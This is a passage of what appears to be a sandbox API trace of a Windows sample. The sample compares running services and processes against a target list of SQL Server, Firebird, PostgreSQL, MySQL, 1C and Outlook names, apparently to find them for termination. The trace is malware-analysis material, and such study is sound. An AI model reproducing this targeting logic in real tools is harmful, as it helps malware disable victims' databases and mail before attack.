(lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0209.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0209.964] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0209.964] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0209.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0209.964] lstrlenW (lpString="EventSystem") returned 11 [0209.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0209.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0209.964] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0209.964] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0209.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0209.965] lstrlenW (lpString="FontCache") returned 9 [0209.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0209.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0209.965] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0209.965] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0209.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0209.965] lstrlenW (lpString="gpsvc") returned 5 [0209.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0209.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0209.965] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0209.965] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0209.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0209.965] lstrlenW (lpString="iphlpsvc") returned 8 [0209.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0209.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0209.965] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0209.965] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0209.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0209.965] lstrlenW (lpString="LanmanServer") returned 12 [0209.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0209.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0209.965] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0209.965] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0209.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0209.965] lstrlenW (lpString="LanmanWorkstation") returned 17 [0209.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0209.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0209.966] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0209.966] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0209.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0209.966] lstrlenW (lpString="lmhosts") returned 7 [0209.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0209.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0209.966] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0209.966] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0209.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0209.966] lstrlenW (lpString="MMCSS") returned 5 [0209.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0209.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0209.966] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0209.966] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0209.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0209.966] lstrlenW (lpString="MpsSvc") returned 6 [0209.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0209.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0209.966] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0209.966] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0209.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0209.967] lstrlenW (lpString="Netman") returned 6 [0209.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0209.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0209.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0209.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0209.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0209.967] lstrlenW (lpString="netprofm") returned 8 [0209.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0209.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0209.967] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0209.967] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0209.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0209.967] lstrlenW (lpString="NlaSvc") returned 6 [0209.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0209.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0209.967] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0209.967] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0209.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0209.967] lstrlenW (lpString="nsi") returned 3 [0209.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0209.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0209.967] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0209.967] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0209.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0209.967] lstrlenW (lpString="PcaSvc") returned 6 [0209.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0209.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0209.968] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0209.968] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0209.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0209.968] lstrlenW (lpString="PlugPlay") returned 8 [0209.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0209.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0209.968] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0209.968] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0209.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0209.968] lstrlenW (lpString="Power") returned 5 [0209.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0209.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0209.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0209.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0209.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0209.968] lstrlenW (lpString="ProfSvc") returned 7 [0209.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0209.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0209.968] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0209.968] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0209.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0209.968] lstrlenW (lpString="RpcEptMapper") returned 12 [0209.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0209.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0209.968] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0209.968] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0209.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0209.968] lstrlenW (lpString="RpcSs") returned 5 [0209.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0209.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0209.969] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0209.969] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0209.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0209.969] lstrlenW (lpString="SamSs") returned 5 [0209.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0209.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0209.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0209.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0209.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0209.969] lstrlenW (lpString="Schedule") returned 8 [0209.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0209.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0209.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0209.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0209.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0209.969] lstrlenW (lpString="SENS") returned 4 [0209.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0209.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0209.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0209.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0209.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0209.969] lstrlenW (lpString="ShellHWDetection") returned 16 [0209.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0209.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0209.969] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0209.969] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0209.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0209.970] lstrlenW (lpString="Spooler") returned 7 [0209.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0209.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0209.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0209.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0209.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0209.970] lstrlenW (lpString="sppsvc") returned 6 [0209.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0209.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0209.970] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0209.970] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0209.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0209.970] lstrlenW (lpString="SysMain") returned 7 [0209.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0209.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0209.970] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0209.970] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0209.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0209.970] lstrlenW (lpString="Themes") returned 6 [0209.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0209.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0209.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0209.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0209.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0209.970] lstrlenW (lpString="TrkWks") returned 6 [0209.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0209.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0209.970] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0209.971] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0209.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0209.971] lstrlenW (lpString="UxSms") returned 5 [0209.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0209.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0209.971] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0209.971] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0209.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0209.971] lstrlenW (lpString="VSS") returned 3 [0209.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0209.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0209.971] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0209.971] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0209.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0209.971] lstrlenW (lpString="WdiServiceHost") returned 14 [0209.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0209.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0209.971] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0209.971] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0209.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0209.971] lstrlenW (lpString="WdiSystemHost") returned 13 [0209.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0209.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0209.971] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0209.971] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0209.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0209.971] lstrlenW (lpString="WinDefend") returned 9 [0209.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0209.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0209.971] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0209.971] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0209.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0209.972] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0209.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0209.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0209.972] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0209.972] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0209.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0209.972] lstrlenW (lpString="Winmgmt") returned 7 [0209.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0209.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0209.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0209.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0209.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0209.972] lstrlenW (lpString="wscsvc") returned 6 [0209.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0209.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0209.972] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0209.972] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0209.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0209.972] lstrlenW (lpString="wuauserv") returned 8 [0209.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0209.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0209.972] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0209.972] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0209.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0209.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0209.972] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0209.974] Process32FirstW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.975] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.976] lstrlenW (lpString="System") returned 6 [0209.976] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0209.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0209.976] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0209.976] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0209.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0209.976] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0209.976] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0209.976] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.977] lstrlenW (lpString="smss.exe") returned 8 [0209.977] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0209.977] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0209.977] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.978] lstrlenW (lpString="csrss.exe") returned 9 [0209.978] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.979] lstrlenW (lpString="wininit.exe") returned 11 [0209.979] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.980] lstrlenW (lpString="csrss.exe") returned 9 [0209.980] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.981] lstrlenW (lpString="winlogon.exe") returned 12 [0209.981] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.982] lstrlenW (lpString="services.exe") returned 12 [0209.982] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.983] lstrlenW (lpString="lsass.exe") returned 9 [0209.983] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0209.984] lstrlenW (lpString="lsm.exe") returned 7 [0209.984] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.018] lstrlenW (lpString="svchost.exe") returned 11 [0210.018] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.019] lstrlenW (lpString="svchost.exe") returned 11 [0210.019] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.020] lstrlenW (lpString="svchost.exe") returned 11 [0210.020] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.021] lstrlenW (lpString="svchost.exe") returned 11 [0210.021] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.022] lstrlenW (lpString="svchost.exe") returned 11 [0210.022] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.023] lstrlenW (lpString="audiodg.exe") returned 11 [0210.023] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.024] lstrlenW (lpString="svchost.exe") returned 11 [0210.024] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.025] lstrlenW (lpString="svchost.exe") returned 11 [0210.025] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.026] lstrlenW (lpString="dwm.exe") returned 7 [0210.026] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0210.027] lstrlenW (lpString="explorer.exe") returned 12 [0210.027] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0210.028] lstrlenW (lpString="spoolsv.exe") returned 11 [0210.028] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, 